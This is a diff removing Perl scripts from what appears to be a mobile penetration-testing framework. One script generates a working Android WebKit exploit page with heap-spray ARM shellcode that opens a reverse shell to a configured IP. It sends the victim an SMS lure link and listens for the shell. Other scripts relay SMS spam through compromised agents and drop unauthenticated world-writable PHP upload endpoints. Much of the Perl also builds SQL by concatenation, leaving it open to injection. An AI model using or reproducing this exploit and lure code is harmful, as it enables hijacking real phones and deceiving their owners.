-                			$username = $Variables{"MYSQLUSER"};
534  
-                			$password = $Variables{"MYSQLPASS"};
535  
-               				$port = $Variables{"MYSQLPORT"};
536  
-               				$type = $Variables{"DATABASETYPE"};
537  
-                                        if ($type eq "postgres")
538  
-                                        {
539  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
540  
-                                        }
541  
-                                        elsif ($type eq "mysql")
542  
-                                        {
543  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
544  
-                                        }
545  
-		 			$pathquery = "SELECT path from modems where id=" . $modem; 
546  
-                               		$sql = $dbh->prepare($pathquery);
547  
-                                	$results = $sql->execute;
548  
-                                	@rows = $sql->fetchrow_array();
549  
-                                	$path2 = @rows[0];
550  
-			 		$keyquery = "SELECT controlkey from modems where id=" . $modem;
551  
-                                	$sql = $dbh->prepare($keyquery);
552  
-                                	$results2 = $sql->execute;
553  
-                                	@rows = $sql->fetchrow_array();
554  
-                                	$key2 = @rows[0];
555  
-					$numberquery = "SELECT number from agents where id=" . $id;
556  
-                                	$sql = $dbh->prepare($numberquery);
557  
-                                	$results = $sql->execute;
558  
-                                	@rows = $sql->fetchrow_array();
559  
-                                	$number2 = @rows[0];
560  
-					$typequery = "SELECT type from modems where id=" . $modem;
561  
-                                	$sql = $dbh->prepare($typequery);
562  
-                                	$results = $sql->execute;
563  
-                                	@rows = $sql->fetchrow_array();
564  
-                                	$type2 = @rows[0];
565  
-				 	if ($type2 eq "app")
566  
-                                	{
567  
-						$command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;				 		$control = $webserver . $path2 . "/getfunc";
568  
-                        			open(CONTROLFILE, ">$control");
569  
-				 		print CONTROLFILE $command2;
570  
-                        			close(CONTROLFILE);
571  
-						sleep 60;
572  
-						$text = $webserver . $path . "/text.txt";
573  
-                                		open(TEXTFILE, "+<$text");
574  
-                                		$line= <TEXTFILE>;
575  
-						$table = "data";
576  
-						$insertquery = "UPDATE $table SET contacts=" . "'" . $line . "'" . " WHERE id=" . "'" . $id . "'";
577  
-						$sql = $dbh->prepare($insertquery);
578  
-						$sql->execute;
579  
-						close(TEXTFILE);
580  
-						open(TEXTFILE2, ">$text");
581  
-						print TEXTFILE2 "";
582  
-						close(TEXTFILE2);
583  
-					}
584  
-
585  
-				}
586  
-			}
587  
-
588  
-		}
589  
-		elsif (@split[1] eq "SPAM")
590  
-                {                   
591  
-			$modem = @split[2];
592  
-                	$sendnumber = @split[4];
593  
-			$deliverymethod = @split[3];
594  
-			$splitlength = @split;
595  
-			$end = $splitlength - 1;
596  
-			$sendmessage = @split[5];
597  
-			if ($end > 5)
598  
-			{
599  
-				for ($i = 6; $i<=$end; $i++)
600  
-				{
601  
-					$sendmessage .= " ";
602  
-					$sendmessage .= @split[$i]; 
603  
-				} 
604  
-			}
605  
-                	$command = $key . " " . "SPAM" . " " . $sendnumber .  " " .  $sendmessage; 
606  
-                	if ($deliverymethod eq "HTTP")
607  
-                	{
608  
-                       		$control = $webserver . $path . "/control";
609  
-                        	open(CONTROLFILE, ">$control");
610  
-                        	print CONTROLFILE $command;
611  
-                        	close(CONTROLFILE);
612  
-                	}
613  
-                	if ($deliverymethod eq "SMS")
614  
-                	{
615  
-  				$username = $Variables{"MYSQLUSER"};
616  
-                                $password = $Variables{"MYSQLPASS"};
617  
-                                $port = $Variables{"MYSQLPORT"};
618  
-                                    $type = $Variables{"DATABASETYPE"};
619  
-                                        if ($type eq "postgres")
620  
-                                        {
621  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
622  
-                                        }
623  
-                                        elsif ($type eq "mysql")
624  
-                                        {
625  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
626  
-                                        }
627  
-                                $pathquery = "SELECT path from modems where id=" . $modem;
628  
-                                $sql = $dbh->prepare($pathquery);
629  
-                                $results = $sql->execute;
630  
-                                @rows = $sql->fetchrow_array();
631  
-                                $path2 = @rows[0];
632  
-                                $typequery = "SELECT type from modems where id=" . $modem;
633  
-                                $sql = $dbh->prepare($typequery);
634  
-                                $results = $sql->execute;
635  
-                                @rows = $sql->fetchrow_array();
636  
-                                $type2 = @rows[0];
637  
-                                $keyquery = "SELECT controlkey from modems where id=" . $modem;
638  
-                                $sql = $dbh->prepare($keyquery);
639  
-                                $results2 = $sql->execute;
640  
-                                @rows = $sql->fetchrow_array();
641  
-                                $key2 = @rows[0];
642  
-				$numberquery = "SELECT number from agents where id=" . $id;
643  
-                                $sql = $dbh->prepare($numberquery);
644  
-                                $results = $sql->execute;
645  
-                                @rows = $sql->fetchrow_array();
646  
-                                $number2 = @rows[0];
647  
-                                chomp($type2);
648  
-                                if ($type2 eq "app")
649  
-                                {       
650  
-                                        $control = $webserver . $path2 . "/getfunc";
651  
-                                        $command2 = $key2 . " " . "SEND" . " " . $number2 . " " . $command;
652  
-                                        open(CONTROLFILE, ">$control");
653  
-                                        print CONTROLFILE $command2;
654  
-                                        close(CONTROLFILE);
655  
-                                }
656  
-                        }
657  
-
658  
-
659  
-                }       
660  
-                     
661  
-		
662  
-	}
663  
-}
664  
-
155  frameworkgui/androidwebkit.pl
... ...
@@ -1,155 +0,0 @@
1  
-#!/usr/bin/perl
2  
-use Cwd;
3  
-use DBI;
4  
-use Expect;
5  
-use IO::Socket;
6  
-$dir = getcwd;
7  
-$configfile = $dir . "/config";
8  
-open(CONFIG, "+<$configfile");
9  
-while (<CONFIG>)
10  
-{
11  
-        chomp;
12  
-        s/#.*//;
13  
-        s/^\s+//;
14  
-        s/\s+$//;
15  
-        ($var, $value) = split(/\s*=\s*/, $_, 2);
16  
-        $Variables{$var} = ${value};
17  
-}
18  
-$webserver = $Variables{"WEBSERVER"};
19  
-        $sqlserver = $Variables{"MYSQLSERVER"};
20  
-        $ipaddress = $Variables{"IPADDRESS"};
21  
-	$shellipaddress = $Variables{"SHELLIPADDRESS"};	
22  
-	$path = $ARGV[0];
23  
-	$filename = $ARGV[1];
24  
-	$number = $ARGV[2];
25  
-        $modem = $ARGV[3];       
26  
-	$link = "http://" . $ipaddress . $path . $filename;
27  
-                	$fullpath = $webserver. $path;
28  
-                	$command1 = "mkdir " . $fullpath;
29  
-                	system($command1);
30  
-			$ipaddresscopy = $shellipaddress;
31  
-			@octets = split(/\./, $ipaddresscopy);
32  
-			$out1 = pack "c", @octets[0];
33  
-			$hex1 = unpack "H2" , $out1;
34  
-			$out2 = pack "c", @octets[1];
35  
-                	$hex2 = unpack "H2" , $out2;
36  
-			$out3 = pack "c", @octets[2];
37  
-                	$hex3 = unpack "H2" , $out3;
38  
-  			$out4 = pack "c", @octets[3];
39  
-                	$hex4 = unpack "H2" , $out4;
40  
-			$sploitfile = $webserver . $path . $filename;
41  
-			$command8 = "touch " . $sploitfile;
42  
-       		 	system($command8);
43  
-        		$command9 = "chmod 777 " . $sploitfile;
44  
-        		system($command9);
45  
-        		open(SPLOITFILE, ">$sploitfile");
46  
-       			print SPLOITFILE "<html>\n";
47  
-			print SPLOITFILE "<head>\n";
48  
-			print SPLOITFILE "<script>\n"; 
49  
-			print SPLOITFILE "var ip = unescape(\"\\u" . $hex2 . $hex1 . "\\u" . $hex4 . $hex3 . "\");\n";
50  
-			print SPLOITFILE "var port = unescape(\"\\u3930\");\n";
51  
-			print SPLOITFILE "function trigger()\n";
52  
-			print SPLOITFILE "{\n";
53  
-			print SPLOITFILE "var span = document.createElement(\"div\");\n";
54  
-			print SPLOITFILE "document.getElementById(\"BodyID\").appendChild(span);\n";
55  
-			print SPLOITFILE "span.innerHTML = -parseFloat(\"NAN(ffffe00572c60)\");\n"; 
56  
-			print SPLOITFILE "}\n";
57  
-			print SPLOITFILE "function exploit()\n";
58  
-			print SPLOITFILE "{\n";   
59  
-			print SPLOITFILE "var nop = unescape(\"\\u33bc\\u0057\");\n";
60  
-			print SPLOITFILE "do\n";
61  
-			print SPLOITFILE "{\n";
62  
-			print SPLOITFILE "nop+=nop;\n";
63  
-			print SPLOITFILE "} while (nop.length<=0x1000);\n";
64  
-			print SPLOITFILE "var scode = nop+unescape(\"\\u1001\\ue1a0\\u0002\\ue3a0\\u1001\\ue3a0\\u2005\\ue281\\u708c\\ue3a0\\u708d\\ue287\\u0080\\uef00\\u6000\\ue1a0\\u1084\\ue28f\\u2010\\ue3a0\\u708d\\ue3a0\\u708e\\ue287\\u0080\\uef00\\u0006\\ue1a0\\u1000\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1001\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1002\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u2001\\ue28f\\uff12\\ue12f\\u4040\\u2717\\udf80\\ua005\\ua508\\u4076\\u602e\\u1b6d\\ub420\\ub401\\u4669\\u4052\\u270b\\udf80\\u2f2f\\u732f\\u7379\\u6574\\u2f6d\\u6962\\u2f6e\\u6873\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u0002\");\n";
65  
-			print SPLOITFILE "scode += port;\n";
66  
-			print SPLOITFILE "scode += ip;\n";
67  
-			print SPLOITFILE "scode += unescape(\"\\u2000\\u2000\");\n";
68  
-			print SPLOITFILE "target = new Array();\n";
69  
-			print SPLOITFILE "for(i = 0; i < 0x1000; i++)\n";
70  
-			print SPLOITFILE "target[i] = scode;\n";
71  
-			print SPLOITFILE "for (i = 0; i <= 0x1000; i++)\n";
72  
-			print SPLOITFILE "{\n";
73  
-			print SPLOITFILE "document.write(target[i]+\"<i>\");\n";
74  
-			print SPLOITFILE "if (i>0x999)\n";
75  
-			print SPLOITFILE "{\n";
76  
-			print SPLOITFILE "trigger();\n";
77  
-			print SPLOITFILE "}\n";
78  
-			print SPLOITFILE "}\n";
79  
-			print SPLOITFILE "}\n";
80  
-			print SPLOITFILE "</script>\n";
81  
-			print SPLOITFILE "</head>\n";
82  
-			print SPLOITFILE "<body id=\"BodyID\">\n";
83  
-			print SPLOITFILE "Enjoy!\n";
84  
-			print SPLOITFILE "<script>\n";
85  
-			print SPLOITFILE "exploit();\n";
86  
-			print SPLOITFILE "</script>\n";
87  
-			print SPLOITFILE "</body>\n";
88  
-			print SPLOITFILE "</html>\n";
89  
-        		close(SPLOITFILE);
90  
-              
91  
-               	 		$username = $Variables{"MYSQLUSER"};
92  
-                		$password = $Variables{"MYSQLPASS"};
93  
-                		$port = $Variables{"MYSQLPORT"};
94  
-                		    $type = $Variables{"DATABASETYPE"};
95  
-                                        if ($type eq "postgres")
96  
-                                        {
97  
-                                                $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
98  
-                                        }
99  
-                                        elsif ($type eq "mysql")
100  
-                                        {
101  
-                                                $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
102  
-                                        }
103  
-				$pathquery = "SELECT path from modems where id=" . $modem;
104  
-                        	$sql = $dbh->prepare($pathquery);
105  
-                        	$results = $sql->execute;
106  
-				@rows = $sql->fetchrow_array();
107  
-                        	$path2 = @rows[0];
108  
-                        	$keyquery = "SELECT controlkey from modems where id=" . $modem;
109  
-                        	$sql = $dbh->prepare($keyquery);
110  
-                        	$results2 = $sql->execute;
111  
-                        	@rows = $sql->fetchrow_array();
112  
-                        	$key2 = @rows[0];
113  
-                        	$control = $webserver . $path2 . "/getfunc";
114  
-                        	open(CONTROLFILE, ">$control");
115  
-                        	$command2 = $key2 . " " . "SEND" . " " . $number . " " . "This is a cool page: " . $link;
116  
-                        	print CONTROLFILE $command2;
117  
-                        	close(CONTROLFILE);
118  
-				$vulnerable = "no";
119  
-				$socket = new IO::Socket::INET (LocalHost => $shellipaddress, LocalPort => '12345', Proto => 'tcp' , Listen => 1, Reuse => 1, Timeout=> 180);
120  
-				if ($data_socket = $socket->accept())
121  
-				{
122  
-					$data="/system/bin/id\n";
123  
-					print $data_socket $data;
124  
-					$data=<$data_socket>;
125  
-					print $data;
126  
-					close($data_socket);
127  
-					$vulnerable = "yes";
128  
-				}
129  
-
130  
-
131  
-
132  
-$table = "client";
133  
-        $sqlserver = $Variables{"MYSQLSERVER"};
134  
-        $username = $Variables{"MYSQLUSER"};
135  
-        $password = $Variables{"MYSQLPASS"};
136  
-        $port = $Variables{"MYSQLPORT"};
137  
-        $type = $Variables{"DATABASETYPE"};
138  
-        if ($type eq "postgres")
139  
-        {
140  
-                   $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
141  
-	           $number2 = "\'" . $number . "\'";
142  
-                   $vulnerable2 = "\'" . $vulnerable . "\'";
143  
-                   $webkit = "\'" . "webkit" . "\'";
144  
-
145  
-	}
146  
-        elsif ($type eq "mysql")
147  
-        {
148  
-                   $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
149  
-  		   $number2 = "\"" . $number . "\"";
150  
-		   $vulnerable2 = "\"" . $vulnerable . "\""; 
151  
-		   $webkit = "\"" . "webkit" . "\"";
152  
-	}
153  
-	$insertquery = "INSERT INTO $table (id,number,exploit,vuln) VALUES (DEFAULT,$number2,$webkit,$vulnerable2)";
154  
-	$sql = $dbh->prepare($insertquery);
155  
-	$sql->execute;
145  frameworkgui/attach2Agents.pl
... ...
@@ -1,145 +0,0 @@
1  
-#!/usr/bin/perl
2  
-use DBI;
3  
-use Cwd;
4  
-
5  
-# Read the standard input (sent by the form):
6  
-read(STDIN, $FormData, $ENV{'CONTENT_LENGTH'});
7  
-# Get the name and value for each form input:
8  
-@pairs = split(/&/, $FormData);
9  
-# Then for each name/value pair....
10  
-foreach $pair (@pairs) {
11  
-	# Separate the name and value:
12  
-	($name, $value) = split(/=/, $pair);
13  
-	# Convert + signs to spaces:
14  
-	$value =~ tr/+/ /;
15  
-	# Convert hex pairs (%HH) to ASCII characters:
16  
-	$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
17  
-	# Store values in a hash called %FORM:
18  
-	$FORM{$name} = $value;
19  
-}
20  
-
21  
-
22  
-$number1 = $FORM{"agentPhNo"};
23  
-$number21 = $FORM{"controlPhNo"};
24  
-$path1 = $FORM{"agentURLPath"};
25  
-$key1 = $FORM{"agentControlKey"};
26  
-$platform1 = $FORM{"platformDD1"};                                                                                                                                                                              
27  
-
28  
-##----- put your code here
29  
-	$dir = getcwd;
30  
-$configfile = $dir . "/config";
31  
-open(CONFIG, "+<$configfile");
32  
-while (<CONFIG>)
33  
-{
34  
-        chomp;
35  
-        s/#.*//;
36  
-        s/^\s+//;
37  
-        s/\s+$//;
38  
-        ($var, $value) = split(/\s*=\s*/, $_, 2);
39  
-        $Variables{$var} = ${value};
40  
-}
41  
-$Variables{"OS"} = $^O;
42  
-	$webserver = $Variables{"WEBSERVER"};
43  
-	$fullpath = $webserver. $path;
44  
-	$command1 = "mkdir " . $fullpath;
45  
-	system($command1);
46  
-	$controlfile = $fullpath . "/control";
47  
-	$command2 = "touch " . $controlfile;
48  
-	system($command2);
49  
-	$command3 = "chmod 777 " . $controlfile;
50  
-	system($command3);
51  
-	$picturefile = $fullpath . "/picture.jpg";
52  
-	$command4 = "touch " . $picturefile;
53  
-	system($command4);
54  
-	$command5 = "chmod 777 " . $picturefile;
55  
-	system($command5);
56  
-	$textfile = $fullpath . "/text.txt";
57  
-        $command6 = "touch " . $textfile;
58  
-        system($command6);
59  
-        $command7 = "chmod 777 " . $textfile;
60  
-        system($command7);
61  
-	$pictureupload = $fullpath . "/pictureupload.php";
62  
-        $command8 = "touch " . $pictureupload;
63  
-        system($command8);
64  
-        $command9 = "chmod 777 " . $pictureupload;
65  
-        system($command9);
66  
-	$pictureuploadtext = "<?php\n\$base=\$_REQUEST['picture'];\necho \$base;\n\$binary=base64_decode(\$base);\nheader('Content-Type: bitmap; charset=utf-8');\n\$file = fopen('picture.jpg', 'wb');\nfwrite(\$file, \$binary);\nfclose(\$file);\n?>";
67  
-	open(PICFILE, ">$pictureupload");
68  
-	print PICFILE $pictureuploadtext;
69  
-	close(PICFILE);
70  
-	$textupload = $fullpath . "/textuploader.php";
71  
-        $command10 = "touch " . $textupload;
72  
-        system($command10);
73  
-        $command11 = "chmod 777 " . $textupload;
74  
-        system($command11);
75  
-        $textuploadtext = "<?php\n\$base=\$_REQUEST['text'];\nheader('Content-Type: text; charset=utf-8');\n\$file = fopen('text.txt', 'wb');\nfwrite(\$file, \$base);\n?>";
76  
-        open(TEXTFILE, ">$textupload");
77  
-        print TEXTFILE $textuploadtext;
78  
-        close(TEXTFILE);
79  
-	$controlupload = $fullpath . "/controluploader.php";
80  
-        $command12 = "touch " . $controlupload;
81  
-        system($command12);
82  
-        $command13 = "chmod 777 " . $controlupload;
83  
-        system($command13);
84  
-        $controluploadtext = "<?php\n\$base=\$_REQUEST['text'];\nheader('Content-Type: text; charset=utf-8');\n\$file = fopen('control','wb');\nfwrite(\$file, \$base);\n?>";
85  
-        open(CONTROLFILE, ">$controlupload");
86  
-        print CONTROLFILE $controluploadtext;
87  
-        close(CONTROLFILE);
88  
-	$putfile = $fullpath . "/putfunc";
89  
-        $command14 = "touch " . $putfile;
90  
-        system($command14);
91  
-        $command15 = "chmod 777 " . $putfile;
92  
-        system($command15);
93  
-	$table = "agents";
94  
-	$table2 = "data";
95  
-        $sqlserver = $Variables{"MYSQLSERVER"};
96  
-        $username = $Variables{"MYSQLUSER"};
97  
-        $password = $Variables{"MYSQLPASS"};
98  
-        $port = $Variables{"MYSQLPORT"};
99  
-	 $type = $Variables{"DATABASETYPE"}; 
100  
-        if ($type eq "postgres")
101  
-                {
102  
-                        $dbh = DBI->connect("DBI:Pg:dbname=framework;host=$sqlserver",$username,$password);
103  
-                        $number2 = "\'" . $number1 . "\'";
104  
-                        $path2 = "\'" . $path1 . "\'";
105  
-                        $key2 = "\'" . $key1 . "\'";
106  
-                        $controlnumber2 = "\'" . $number21 . "\'";
107  
-                        $platform2 = "\'" . $platform1 . "\'";
108  
-			$query2 = "SELECT id from agents where number=" . "\'" . $number1 . "\'";
109  
-
110  
-
111  
-                }
112  
-        elsif ($type eq "mysql")
113  
-                {     
114  
-                          $dbh = DBI->connect("dbi:mysql:database=framework;host=$sqlserver;port=$port", $username,$password);
115  
-                        $number2 = "\"" . $number1 . "\"";
116  
-                        $path2 = "\"" . $path1 . "\"";
117  
-                        $key2 = "\"" . $key1 . "\"";